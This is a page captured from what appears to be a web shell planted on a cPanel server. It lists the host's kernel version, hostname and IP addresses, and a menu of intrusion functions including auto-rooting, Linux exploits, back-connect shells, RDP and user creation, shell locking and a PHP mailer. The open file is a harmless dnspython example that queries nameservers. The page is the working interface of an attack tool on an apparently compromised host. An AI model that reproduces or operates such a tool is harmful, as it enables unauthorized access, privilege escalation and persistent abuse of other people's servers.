Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.214.160
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3-dnspython /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
async_dns.py
702
B
-rw-r--r--
ddns.py
1.18
KB
-rwxr-xr-x
doh-json.py
2.95
KB
-rwxr-xr-x
doh.py
1.16
KB
-rwxr-xr-x
e164.py
114
B
-rwxr-xr-x
ecs.py
429
B
-rwxr-xr-x
mx.py
189
B
-rwxr-xr-x
name.py
430
B
-rwxr-xr-x
query_specific.py
815
B
-rw-r--r--
receive_notify.py
1.01
KB
-rw-r--r--
reverse.py
1.39
KB
-rwxr-xr-x
reverse_name.py
139
B
-rwxr-xr-x
xfr.py
340
B
-rwxr-xr-x
zonediff.py
11.53
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : query_specific.py
#!/usr/bin/env python3 # Two ways of querying a specific nameserver. import dns.message import dns.rdataclass import dns.rdatatype import dns.query # This way is just like nslookup/dig: qname = dns.name.from_text('amazon.com') q = dns.message.make_query(qname, dns.rdatatype.NS) print('The query is:') print(q) print('') r = dns.query.udp(q, '8.8.8.8') print('The response is:') print(r) print('') print('The nameservers are:') ns_rrset = r.find_rrset(r.answer, qname, dns.rdataclass.IN, dns.rdatatype.NS) for rr in ns_rrset: print(rr.target) print('') print('') # A higher-level way import dns.resolver resolver = dns.resolver.Resolver(configure=False) resolver.nameservers = ['8.8.8.8'] answer = resolver.resolve('amazon.com', 'NS') print('The nameservers are:') for rr in answer: print(rr.target)
Close